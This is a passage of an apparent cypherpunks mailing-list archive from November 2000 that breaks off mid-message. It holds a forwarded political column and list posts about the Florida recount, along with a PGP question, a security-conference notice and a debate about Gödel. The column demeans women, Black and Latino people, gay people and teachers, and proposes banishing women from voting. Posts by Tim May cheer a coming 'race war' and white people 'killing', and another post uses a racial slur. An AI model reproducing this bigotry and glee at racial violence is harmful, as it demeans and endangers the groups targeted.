telepath.com) Subject: ip: REPUBLICANS CAN'T WIN THIS WAR By: Carole Ward http://www.etherzone.com/ward111600.html Ether Zone UTOPIAN WOLVES OUT NUMBER THE SHEEP REPUBLICANS CAN'T WIN THIS WAR By: Carole Ward Pity the Republicans. I heard conservative Robert Novak grouse that Al Gore's poll numbers don't mean Democrats are succeeding, but that Republicans are failing. Not true Bob. You are just out numbered. Democracy has finally delivered the death blow to republican government. Somebody once said democracy is the honeymoon of stupidity. What a great line. I have predicted a renaissance of Utopianism as boomers begin to think about old age. Retiring boomers will demand nothing less than meals-on-wheels -delivered to their RV parks in Costa Rica as part of their Medicare+accounts. Free drugs and med-evac, delivered anywhere, any continent, anytime to any mountain. High grade hemp will be reclassified and distributed for achy muscles or menopause. Conservatives, by definition cannot win this war. It's not Dubya's fault, really. The utopian police state has a new allure for aging boomers. When you add these particularly solipsistic and venal breed of parasites to the existing pool, you have a nasty brew. And it feeds on liberty. This election is an auction - and Al Gore may just win it. I wince when I hear Limbaugh, Medved, Coulter and company, trying to intellectualize the "mood of the country" --shaking their heads, asking where they went wrong with women. That's a no brainer. Just tell women you'll give them free day care, healthcare, and underwrite their poor choices with somebody elses money. They deserve it, and you're gonna give it to em. Truth can only hurt you. Silly Gopers criticize each other on principle when they differ, believing they can appeal to our higher natures. --sort of like Depok Chopra without the shakedown for tapes, books and T Shirts. But Democrats know politics is not principled. Its organized crime. For 8 years the GOP has been asking, "Where is the outrage"? What outrage? Democrats don't vote for piety. They don't vote FOR Democrats. They vote AGAINST Republicans. Ask any Democrat what he/she thinks of Bill Clinton. Odds are they think he's a bit of a thug, a caricature of the boozy, lascivious and irredeemably corrupt southern pol - a thoroughly loathsome character. But no matter. He's not a Republican. So he's got their vote. Democrats should rightly be called Anti-Republicans. That's why we couldn't get rid of the Arkansas Sopranos even after the bodies started piling up, planes went boom and a statistically improbable number of FOB's committed suicide or fell out of the sky. ---See, Billy delivers the goods. I believe we could video tape the entire Clinton cabinet gang raping a kindergarten class and democrats would caution us that it was illegal to video tape them without consent. So how do they do it? How do Democrats enjoy such loyalty from Anti-Republicans? Well, it's a spoils system in a host/parasite paradigm. Anti-Republicans want more of what Republicans have, or hate what Republicans are, and will not conform to conservative expectations for citizens. So when the federal government steals 1.7 trillion a year from us, dems say --Good! Footnote: Gays are a special subsection of the anti-republican coalition. Their singular concern in this battle is legislation insuring their right to prime-time, drive-by sex, while the transfer of wealth occurs. So, we have reached critical mass as we tumble toward euro-trash social democracy. The parasites outnumber the hosts and an IV drip on producers may not be enough to sate the sheer numbers of 'needy'. And each beneficiary is clamoring for more. Utopians need to legislate our thoughts and profile the aberrant among us who still believe in the privacy of thoughts, sex, and property. So who are we up against? 1. Government workers. That includes teachers. These little blood-suckers multiply like roaches and don't like compensation tied to performance or tenure. They succeed only at our expense. [fiercely Anti-Republican street fighters] 2. Unions. ---see above without the breeding capacity from government funding. --but hey, anything's possible. 3. Women. ---Unfortunately they see government as surrogate parent and husband. I've always said women are natural socialists. They have been trading away liberty for promises of security since we jumped out of the trees. They will vote police state utopia every time, if they think it will be easier for them. I would gladly give up my vote if they were banished as a group from electoral politics. What was Jack Nicholson's great line when asked the difference between a man and a woman? --"Take away logic and accountability," he said with signature smirk. 3. Blacks and Latinos --Too many are addicted to the drip system. Add a desire for open borders so their friends and relatives can share the spoils. [these are traditional Anti-Republicans who equate a brown man voting Republican with chickens voting Colonel Saunders.] 4. Trial Lawyers. --they feed on the conflict between warring parasites. A utopian police state guarantees that everyone is guilty of something, sometime. It's a bonanza for defense attorneys and prosecutors as well. 5. Gays. --they cling to dems, the only ones who understand their pain. ["Heterosexuals probe each other's body parts on prime time TV. Why can't we?"] Depressed readers, there is an upside to this --really. This grumpy libertarian offers that we need MORE socialism and MORE utopian blather, not less, if we're going to have the knock-down-drag-out necessary to regain the soul of our Jeffersonian Republic. It's the drip drip drip of Utopianism in the first half of this century that left us in this hazy-semi-conscious-lock-step, each time gubmint says "pay up" or else. Why not say "Bring it on mutha!" Bring it all on - all of it. Utopians in all three branches of government. Confiscate the guns. Photo cop in every intersection. Breathalyzer and retina scans at freeway ramps. 70% death tax [just to churn the economy for the benefit of the "needy".] Cradle to grave healthcare will endure only until somebody discovers that certain "behaviors" mean higher "costs". Utopians may be surprisingly niggardly with public dollars when exponential demand by the "unfit", "imperfect", and "unhealthy", drain the treasury of discretionary dollars which could be used to rescue aging rock climbers and provide necessary paths for bicycle riding city dwellers. We will make them hate each other as much as they hate us. But wait, you say, we can't do this. It means the end of life as we know it. Utopia requires a police state. And a police state ends constitutional government. Constitutional government has already been reduced to what the meaning of is - is. It's whatever they say it is so long as they deliver the goods. Election 2000 can only be described as 2 wolves and a sheep voting on what to have for dinner. So whaddya think is cookin? ---------- Carole Ward writes from Santa Fe and is a frequent contributor to Ether Zone. Carole Ward can be reached at wardcarole at email.msn.com Published in the November 16, 2000 issue of Ether Zone. Copyright � 2000 Ether Zone. (http://etherzone.com) Reposting permitted with this message intact. --- end forwarded text -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From mmotyka at lsil.com Thu Nov 9 15:44:38 2000 From: mmotyka at lsil.com (mmotyka at lsil.com) Date: Thu, 09 Nov 2000 15:44:38 -0800 Subject: CDR: The Canine Excrement Effect Message-ID: <3A0B36E5.C9DFAC61@lsil.com> The Canine Excrement Effect : whereupon having stepped squarely into a fresh heap, the weary traveller experiences an epiphany and declares, "whether it's on my right foot or my left is irrelevant, it's foul and it stinks" then proceeds to perform an erratic twisting, sliding dance across the grass in an attempt to remove the muck, a small portion of which has become lodged between the sole and the upper, possibly permanently. From ravage at ssz.com Thu Nov 9 13:45:54 2000 From: ravage at ssz.com (Jim Choate) Date: Thu, 9 Nov 2000 15:45:54 -0600 (CST) Subject: CDR: One question about pgp-integration In-Reply-To: Message-ID: On Thu, 9 Nov 2000, Eduardo Alencastro Maciel wrote: > I've read the pgp-integration man page, and tried to implement > the sample codes using the system calls. The encryption example > was ok, but the decryption sample code I wasn't able to make it work > well. Whenever I ran the program I got a core file, when the program try to > open the second stream to stdout or stdin. > I don't know if you have a tip for me. It's help if you could point folks to your source, or if it's not too big include it in your message. Diags and test run results would also be helpful. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From wmo at hq.pro-ns.net Thu Nov 9 13:48:16 2000 From: wmo at hq.pro-ns.net (Bill O'Hanlon) Date: Thu, 09 Nov 2000 15:48:16 -0600 Subject: CDR: Life imitates Art Message-ID: <200011092148.PAA22676@hq.pro-ns.net> The current situation reminds me of the movie RoboCop. There's a scene where a city bureaucrat is holding a bunch of city employees hostage after he lost the election. He might be the mayor -- I don't remember for sure. He's shouting his demands to the cops outside the city building. The relevant line from the movie is something like , "I demand a RECOUNT! And regardless of how the recount turns out, I WANT MY OLD JOB BACK!" -Bill -- Bill O'Hanlon wmo at pro-ns.net Professional Network Services, Inc. 612-379-3958 From marc at mtjeff.com Thu Nov 9 15:50:22 2000 From: marc at mtjeff.com (Marc) Date: Thu, 9 Nov 2000 15:50:22 -0800 Subject: CDR: Re: A successful lawsuit means Gore wins! In-Reply-To: <200011092304.SAA21855@www4.aa.psiweb.com>; from George@orwellian.org on Thu, Nov 09, 2000 at 06:04:21PM -0500 References: <200011092304.SAA21855@www4.aa.psiweb.com> Message-ID: <20001109155022.A9029@mtjeff.com> On Thu, Nov 09, 2000 at 06:04:21PM -0500, George at orwellian.org wrote: > Marc wrote: > # > # However, FL 101.5609 is a much clearer point against > # the "must be to the right" claims. > # > # 101.5609(6): > # Voting squares may be placed in front of or in back of the names > # of candidates and statements of questions and shall be of such size as > > If you go by that text... > > Either "in front of", Or "in back of". > > It's a basic choice of one format or the other. > > Otherwise "And/Or" would have been used. > I can see it now... "You two may have the soup or the salad" "I'll have the soup, but he'll have the salad" "I'm sorry sir, but you two may have the soup or the salad..." -- Marc From ravage at ssz.com Thu Nov 9 13:51:04 2000 From: ravage at ssz.com (Jim Choate) Date: Thu, 9 Nov 2000 15:51:04 -0600 (CST) Subject: CDR: Re: A successful lawsuit means Gore wins! In-Reply-To: <20001109104244.C24119@cluebot.com> Message-ID: On Thu, 9 Nov 2000, Declan McCullagh wrote: > It would be simpler, and probably fairer (in a general sense) to discard > those ballots that are suspect. Elections such as this should not be > re-run. That's in infaction of the voters civil liberty. To throw away a vote because the groups managing the election screwed up is the wrong answer. > Take it down to its most general form. Gore and Bush are tied. My > ballot was mangled during processing and is unreadable; I successfully > sue for a rerun of the election, just for my ballot alone. Is this a > good thing? As a citizen you have a RIGHT to have a counted vote, convenience with respect to the organizers isn't an issue. This, "it's hard, or inconvenient, or it's expensive, so let's don't do it" is bullshit socialism when it comes to the rights of citizens, even individual ones. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From ravage at ssz.com Thu Nov 9 13:54:24 2000 From: ravage at ssz.com (Jim Choate) Date: Thu, 9 Nov 2000 15:54:24 -0600 (CST) Subject: CDR: Re: Close Elections and Causality In-Reply-To: Message-ID: On Thu, 9 Nov 2000, Tim May wrote: > * In a close, nearly-tied election, should a re-vote be allowed? > > * In a close sports game, should all potential "fork" decisions > (referee calls) be reviewed and the game rolled-back...even hours > later? Should critical plays be re-played the next day? I believe the concept is called 'sudden death'. And yes, if it's a draw then another election (followed by another, by another, etc.) should be called. I see the tie as a indicator of just how uninspiring the candidates really are. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From jburnes at savvis.net Thu Nov 9 13:03:35 2000 From: jburnes at savvis.net (Jim Burnes) Date: Thu, 9 Nov 2000 16:03:35 -0500 Subject: CDR: Re: A very brief politcal rant In-Reply-To: <090825D1E60BD311B8390090276D5C4965DD04@galileo.luminousnetworks.com> References: <090825D1E60BD311B8390090276D5C4965DD04@galileo.luminousnetworks.com> Message-ID: <00110903021809.02765@reality.eng.savvis.net> On Thu, 09 Nov 2000, Ernest Hua wrote: > > Are you arguing that there were people who did not know > that they were voting for someone who was dead? > > Yes. I agree that the appointment may or may not be > considered legal, depending upon how the law is interpreted. > > However, what is abundantly clear to me is that most, > if not all, of the electorate know that the guy is dead. > It was in the news for weeks. > > If anyone is suggesting that there is some bait and switch > going on, let's see the evidence. Was there a news black > out? Where the news papers destroyed? Radio stations cut > off? TV frequencies jammed? > Bait and switch is probably not the right term. Let me think of a better term. How about fraud. Promising voters special favors if he is elected. But thats the Hatch Act violation and I digress. > Please note that it is not clear yet whether this particular > corner case of the law is well-defined. The courts will > decide that. The courts may very well be required to void > this appointment for some important Constitutional reason. > > Who knows? I would say, 'case law be damned'. A guy who doesn't exist can't take office. If he doesn't take office, he can't be replaced. You are assuming that the bulk of the people who voted for Carnahan actually voted for anyone who is a Democrat -- and that might well be so. But I doubt the Federal Election Commision will think much of a ballot where 'you vote Democratic -- we'll fill in the blank' is a legitimate vote. I would say the same for any 'candidate', but they Republican, Democrat, Libertarian or Dead. > > My original point is that even if the courts find that the > law is technically being violated, it may not necessarily > void the appointment because the court may find that the > violation is not serious enough to tell voters they cannot > have what they want. > > Your statement about letting the voters have anything they > want is clearly extreme and irrelevant in this case. This > case is decided on subtleties of the law and the exceptional > circumstances, not the extremes you are alluding to. > From ptrei at rsasecurity.com Thu Nov 9 13:16:08 2000 From: ptrei at rsasecurity.com (Trei, Peter) Date: Thu, 9 Nov 2000 16:16:08 -0500 Subject: CDR: RE: Reporting weirdness: Hagelin vs. Browne Message-ID: > ---------- > From: > obfuscation at beta.freedom.net[SMTP:obfuscation at beta.freedom.net] > Reply To: obfuscation at beta.freedom.net > Sent: Thursday, November 09, 2000 3:43 PM > To: cypherpunks at algebra.com > Subject: Re: Reporting weirdness: Hagelin vs. Browne > > TCMay writes: > > On CNN I watched the election results coming in. They always listed > > four candidates: Bush, Gore, Nader, and Hagelin. The usual format was > > Bush/Gore on the "crawl" at the bottom of the screen and then a > > second page with the crawl having Nader/Hagelin. > > In fact, Browne did better than Buchanan in Florida, and for that > matter Phillips did better than Hagelin. I too noticed CNN's bizarre > focus on Hagelin over the much higher polling Browne and Phillips. > Perhaps Hagelin acquired an aura of respectability at their editorial > desk due to his fight with Buchanan for the Reform nomination. > > Buchanan beat Browne nationwide but Browne won in a number of states, > including Florida. However Browne's vote total ended up being lower > than in 1996. > > Ob > Watching in Massachusetts, I was actually rather impressed at the level which the major media were reporting the minor candidates. Unlike previous years, where it sometimes took days for me to find out how Libertarian candidates did, this year they were reported live along with the others. In Ma, Carla Howell got about 12% in her Senate run, just a little behind the Republican candidate (the rest went to Kennedy). In fact, Libertarian candidates where getting 10-15% of the vote quite consistantly in local races. Peter Trei From tcmay at got.net Thu Nov 9 16:22:21 2000 From: tcmay at got.net (Tim May) Date: Thu, 9 Nov 2000 16:22:21 -0800 Subject: CDR: Re: A successful lawsuit means Gore wins! In-Reply-To: <200011100005.TAA03440@www8.aa.psiweb.com> References: <200011100005.TAA03440@www8.aa.psiweb.com> Message-ID: At 7:05 PM -0500 11/9/00, George at Orwellian.Org wrote: > >James "too damn bad about the 19,000" Baker >ain't no piece of cake either, FYI. He's right about the "19,000 spoiled ballots." Four years ago there were 16,000 spoiled ballots in the same district, and that was with lower overall turnout. Fact is, voting is serious business. Those who show up dazed and confused and punch too many holes in their ballot are an example of social Darwinism. I have no sympathy for stupid people. > >Buchanan now says most of his Palm Beach County >votes are actually Gore's. Unless he was bugging the voting booths and had ways of knowing the true thoughts of those voting, he had no way of knowing this. > >Pat Buchanan and Jesse Jackson united!o And me, too. We all want a race war. (I'm sort of hoping Gore manages to get his shysters to get the election thrown his way...then the shooting war can start in earnest.) --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From tcmay at got.net Thu Nov 9 16:26:21 2000 From: tcmay at got.net (Tim May) Date: Thu, 9 Nov 2000 16:26:21 -0800 Subject: CDR: Democrats are arguing for "statistical sampling voting" Message-ID: Democrat spinners are now talking up the idea of using "statistical sampling" to assign some fraction of the spoiled ballots to Al Gore. Not a surprise, given that it was the Democrats who wanted to augment the "direct count" of the U.S. Census with "statistical fudge factors." I never thought I'd hear this bizarre notion extended to the vote, though! --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From ernest at luminousnetworks.com Thu Nov 9 13:30:18 2000 From: ernest at luminousnetworks.com (Ernest Hua) Date: Thu, 9 Nov 2000 16:30:18 -0500 Subject: CDR: RE: A very brief politcal rant Message-ID: <090825D1E60BD311B8390090276D5C4965DD08@galileo.luminousnetworks.com> > From: Jim Burnes [jburnes at savvis.net] > Bait and switch is probably not the right term. Let > me think of a better term. How about fraud. > Promising voters special favors if he is elected. > But thats the Hatch Act violation and I digress. Hmm ... I'm thinking on an empty stomach (no lunch yet), so I am not quite sure, but my gut feeling (no pun intended) is that you have a point ... > > Please note that it is not clear yet whether this > > particular corner case of the law is well-defined. > > The courts will decide that. The courts may very > > well be required to void this appointment for some > > important Constitutional reason. > > Who knows? > I would say, 'case law be damned'. A guy who doesn't > exist can't take office. If he doesn't take office, > he can't be replaced. I can sympathize with that viewpoint, but I assert that it is just one viewpoint among many legitimate ones. I do not believe this was actually written into the law, but if someone proves conclusively to the courts that the intent was already in the law, I have no problems with that. > You are assuming that the bulk > of the people who voted for Carnahan actually voted > for anyone who is a Democrat -- and that might well > be so. Um ... actually no. I assert that the bulk of the people voted for his wife, because they were assured that she would take the seat. If someone else was appointed instead of her, I would say that there was bait and switch, and no matter how popular that person might be (perhaps even more popular than she was in the election), this change would fraud for sure. > But I doubt the Federal Election Commision will think > much of a ballot where 'you vote Democratic -- we'll > fill in the blank' is a legitimate vote. I agree with your statement here except that I did not make that specific claim of the generic vote for Democrats. Ern -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 3345 bytes Desc: not available URL: From rah at shipwright.com Thu Nov 9 13:39:50 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Thu, 9 Nov 2000 16:39:50 -0500 Subject: CDR: Re: A very brief politcal rant In-Reply-To: <00110901034307.02765@reality.eng.savvis.net> Message-ID: At 2:05 PM -0500 on 11/9/00, Jim Burnes wrote: > I've seen first hand the intent and demeanor of St. Louis > politics and its not pretty. Agreed. I don't know if it still is, but, say, 23 years ago, St. Louis was a great place to be *from*. :-). Cheers, RAH -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From dsc at seguridad.unam.mx Thu Nov 9 14:54:34 2000 From: dsc at seguridad.unam.mx (Seguridad en Computo - Mexico) Date: Thu, 9 Nov 2000 16:54:34 -0600 (CST) Subject: CDR: Computer Security 2000 Mexico Message-ID: Good Day!! The Computer Security Department of the University of Mexico (UNAM), invites you to the Computer Security 2000 Mexico congress which will celebrate from November 25 to November 30th. On November 30th we will celebrate the Computer Security Day convoqued by ACM worldwide and for this day the program includes big conferences of Simson Garfinkel, Alan Paller, Gene Schultz, Linda McCarthy and Theo de Raadt. It's a great opportunity to exchange ideas and talk with the experts trough a panel sessions like "Can we trust in open source" by Theo de Raadt and Simson Garfinkel or "Intrusion detection it's just the beginning" by Linda McCarthy, Becky Bace and Fred Smith or a big talk of Simson Garfinkel concern "Wireless Commmunications Security" or the new Alan Paller "Top 10 Vulnerabiities of All the time" between other interesting conferences. The official languages for the congress are English and Spanish. For More information concern the congress and all the details: Computer Security 2000 Mexico Congress http://www.seguridad2000.unam.mx Computer Security Day Mexico(November 30) http://www.disc2000.unam.mx Best Regards --- Juan Carlos Guel Lopez Departamento Seguridad en C'omputo E-mail: dsc at seguridad.unam.mx DGSCA, UNAM Tel.: 5622-81-69 Fax: 5622-80-43 Circuito Exterior, C. U. WWW: http://www.seguridad.unam.mx/ 04510 Mexico D. F. PGP: finger dsc at ds5000.super.unam.mx From ravage at ssz.com Thu Nov 9 15:04:01 2000 From: ravage at ssz.com (Jim Choate) Date: Thu, 9 Nov 2000 17:04:01 -0600 (CST) Subject: CDR: Re: A successful lawsuit means Gore wins! In-Reply-To: Message-ID: I have to admit, the statistics (50/50) are what one would expect from a random draw; there have been a raft of 'situations' with respect to the actual voting; there's all sorts of law-suit and criminal charges threats flying about, and now the various minorities have gotten into it. I'm wondering if we haven't just seen the first (metaphorical) shot. It's clear that whatever side one is on, the general totality feels threatened, betrayed, disenfranchised, and basicly fucked over. We might not have to wait till 2020 after all... On Thu, 9 Nov 2000, Tim May wrote: > At 5:24 PM -0500 11/9/00, George at Orwellian.Org wrote: > > > >Spooky Cypherpunk Niggar Tim May Moroned: > ># And, of course, Palm County will _not_ be given a > ># second chance to vote in this election. I guarantee it. > > > >It's either that or the choice you liked even less. > > Oh, I _like_ that other choice. Trust me. > > When I hear Jesse Jackson saying that unless the Palm Beach voters > are given the chance to have a new vote there will be a race war, I > rejoice. > > I was just reading in misc.survivalism that some folks in Florida are > saying that if Al Gore and his Voters of Color succeed in twisting > the courts into stealing the election, that white folks will start > killing. > > Music to my ears. The fuse is burning on the powder keg. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From tcmay at got.net Thu Nov 9 14:04:36 2000 From: tcmay at got.net (Tim May) Date: Thu, 9 Nov 2000 17:04:36 -0500 Subject: CDR: RE: A very brief politcal rant Message-ID: At 4:30 PM -0500 11/9/00, Ernest Hua wrote: > > From: Jim Burnes [jburnes at savvis.net] > > > Bait and switch is probably not the right term. Let >> me think of a better term. How about fraud. >> Promising voters special favors if he is elected. >> But thats the Hatch Act violation and I digress. > >Hmm ... I'm thinking on an empty stomach (no lunch >yet), so I am not quite sure, but my gut feeling (no >pun intended) is that you have a point ... You seem to do this a lot: shoot from the hip with some flaky and ill-presented ideas and then concede that others have raised points you haven't thought about. While none of us expects others to share all or even most of our views, a certain minimum of knowledge in how government works is expected. Please go find some high school-level textbooks on our federal republic system, on the electoral college, and on basic issues about why changing voting hours at the last minute, changing the voting rules, and allowing "do overs" are just not permissable. Get some education. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From tcmay at got.net Thu Nov 9 14:07:07 2000 From: tcmay at got.net (Tim May) Date: Thu, 9 Nov 2000 17:07:07 -0500 Subject: CDR: Re: A very brief politcal rant In-Reply-To: References: Message-ID: At 4:39 PM -0500 11/9/00, R. A. Hettinga wrote: >At 2:05 PM -0500 on 11/9/00, Jim Burnes wrote: > > >> I've seen first hand the intent and demeanor of St. Louis >> politics and its not pretty. > >Agreed. I don't know if it still is, but, say, 23 years ago, St. Louis was >a great place to be *from*. They probably still have you registered as a Democrat from your Young Communist days at journalism school. So, did you vote for the dead guy? --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From ravage at ssz.com Thu Nov 9 15:08:02 2000 From: ravage at ssz.com (Jim Choate) Date: Thu, 9 Nov 2000 17:08:02 -0600 (CST) Subject: CDR: Re: Phil Zimmerman Profiled In-Reply-To: <200011092256.RAA25933@Prometheus.schaefer.nu> Message-ID: On Thu, 9 Nov 2000, Meyer Wolfsheim wrote: > Thank God. Has anyone here actually read the PGP 1.0 source? Yes, I still have the 1.0 disk that was d/l'ed the day Phil put it up on Adelante BBS in Colorado. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From bill.stewart at pobox.com Thu Nov 9 14:11:38 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Thu, 9 Nov 2000 17:11:38 -0500 Subject: CDR: Re: building codes, property rights (follow up) In-Reply-To: <3.0.5.32.20001109074849.0096a840@207.69.200.219> Message-ID: <3.0.5.32.20001109135556.00aacce0@idiom.com> At 11:09 AM 11/9/00 -0500, David Honig wrote: >So Tim is right --there are no constraints on his property, unless he wants >to improve or sell it. > >Or the government needs it for a freeway... Heh. Having seen Tim's property, at the edge of a fairly high hill, that'd be a pretty entertaining freeway.... More to the point, if Tim wanted to rent his spare bedroom to somebody, there'd be a whole raft of constraints and requirements. I have one friend whose agreement with his housemate was that she wasn't a tenant paying rent, because then he'd be a landlord being regulated and paying income taxes - instead she was a housemate paying her (large) fair share of the utilities, maid service, maintenance, swimming pool cleaning, etc. Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From ravage at ssz.com Thu Nov 9 15:13:59 2000 From: ravage at ssz.com (Jim Choate) Date: Thu, 9 Nov 2000 17:13:59 -0600 (CST) Subject: CDR: Re: Minesweeper and defeating modern encryption technology In-Reply-To: Message-ID: On Wed, 8 Nov 2000, Sampo A Syreeni wrote: > You are talking about two very different problems, here. G�del/Turing sorta > things are about problems where quantifiers over an infinite set are > permitted. No, it is exactly the same thing. Godel applies to ANY set of axioms and conjectures. It is universal. Godel clearly applies to Boolean algebra. The theorems we are speaking of are applied to Boolean algebra. The theorems require either a universal consistency or evaluator, either is prohibited by Godel's. In the particular case we are speaking of we are talking about the situation where the language consists of "all consistent/valid/evaluatable/assignable boolean sentences". Hence, somebody did a naughty... ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From ravage at ssz.com Thu Nov 9 15:16:59 2000 From: ravage at ssz.com (Jim Choate) Date: Thu, 9 Nov 2000 17:16:59 -0600 (CST) Subject: CDR: Godel & Turing - a final point In-Reply-To: Message-ID: On Thu, 9 Nov 2000, Jim Choate wrote: > > On Wed, 8 Nov 2000, Sampo A Syreeni wrote: > > > You are talking about two very different problems, here. G�del/Turing sorta > > things are about problems where quantifiers over an infinite set are > > permitted. > > No, it is exactly the same thing. Godel applies to ANY set of axioms and > conjectures. It is universal. > > Godel clearly applies to Boolean algebra. The theorems we are speaking of > are applied to Boolean algebra. The theorems require either a universal > consistency or evaluator, either is prohibited by Godel's. > > In the particular case we are speaking of we are talking about the > situation where the language consists of "all > consistent/valid/evaluatable/assignable boolean sentences". > > Hence, somebody did a naughty... If you have a 'language' that is provably consistent then you know that that language is not complete or 'universal'. There MUST!!! be sentences which are not included in the listing. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From tcmay at got.net Thu Nov 9 17:18:01 2000 From: tcmay at got.net (Tim May) Date: Thu, 9 Nov 2000 17:18:01 -0800 Subject: CDR: Re: Where is Jim Bell? In-Reply-To: <12d0dd0f3c5ebd979720cfb956733fae@melontraffickers.com> References: <12d0dd0f3c5ebd979720cfb956733fae@melontraffickers.com> Message-ID: At 8:50 AM -0800 11/9/00, A. Melon wrote: >Declan; > Why haven't you found out yet what happened to Jim Bell? Certainly you >could ask questions of Portland PD, whatever, or his mom, find out what >they've done with him. > This is certainly a newsworthy item. Squelching free speech by terrorizing >dissedents is what it's all about. And where is John Young? His last post I can find was on 11/2. Nothing since about the time the Bell raid happened. (And his posting statistics were fairly uniform prior to this: a post or two every day, with very few long gaps.) I was only half-joking that maybe Bell's and Young's work on tracing down those CIA safe houses in Bend, Oregon were getting him in trouble. John, say it ain't so. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From George at Orwellian.Org Thu Nov 9 14:24:53 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Thu, 9 Nov 2000 17:24:53 -0500 (EST) Subject: CDR: Re: A successful lawsuit means Gore wins! Message-ID: <200011092224.RAA16615@www2.aa.psiweb.com> Jim Burnes wrote: # I could stomach 'might be illegal', but illegal? Warren Christopher was just on TV, calling the ballot illegal. Let's leave it at that until a court decides. ---- Spooky Cypherpunk Niggar Tim May Moroned: # And, of course, Palm County will _not_ be given a # second chance to vote in this election. I guarantee it. It's either that or the choice you liked even less. Protest crowds are growing. Bush can't take office when half the country thinks people were screwed out of their vote to have that happen. Not in America, buddy. And your hallucinatory Truck O' Dynamite will never change that. ---- Declan, King of the Wired, wrote: # Amusing. But that's a suggested ballot, and not one # that's legally required. Which was my point. But the _directions_ were not "sample" directions. ---- Florida is now saying it won't be until Nov 17th until they can certify the vote. Bush's lead is now only 359. Federal investigators are looking into U.S.P.O. funny business at one unnamed office. From ernest at luminousnetworks.com Thu Nov 9 14:27:49 2000 From: ernest at luminousnetworks.com (Ernest Hua) Date: Thu, 9 Nov 2000 17:27:49 -0500 Subject: CDR: RE: A very brief politcal rant Message-ID: <090825D1E60BD311B8390090276D5C4965DD09@galileo.luminousnetworks.com> Tim, I most certainly am not recanting, and you know it. (Well, perhaps you don't, but I would think better of you despite your negativity.) If you read the part I did think carefully about, you would know exactly what I was referring to. But feel free to spit out 90% venom, and 10% substance. It's clearly your style. Ern -----Original Message----- X-Loop: openpgp.net From: Tim May [mailto:tcmay at got.net] Sent: Thursday, November 09, 2000 2:05 PM To: Multiple recipients of list Subject: RE: A very brief politcal rant At 4:30 PM -0500 11/9/00, Ernest Hua wrote: > > From: Jim Burnes [jburnes at savvis.net] > > > Bait and switch is probably not the right term. Let >> me think of a better term. How about fraud. >> Promising voters special favors if he is elected. >> But thats the Hatch Act violation and I digress. > >Hmm ... I'm thinking on an empty stomach (no lunch >yet), so I am not quite sure, but my gut feeling (no >pun intended) is that you have a point ... You seem to do this a lot: shoot from the hip with some flaky and ill-presented ideas and then concede that others have raised points you haven't thought about. While none of us expects others to share all or even most of our views, a certain minimum 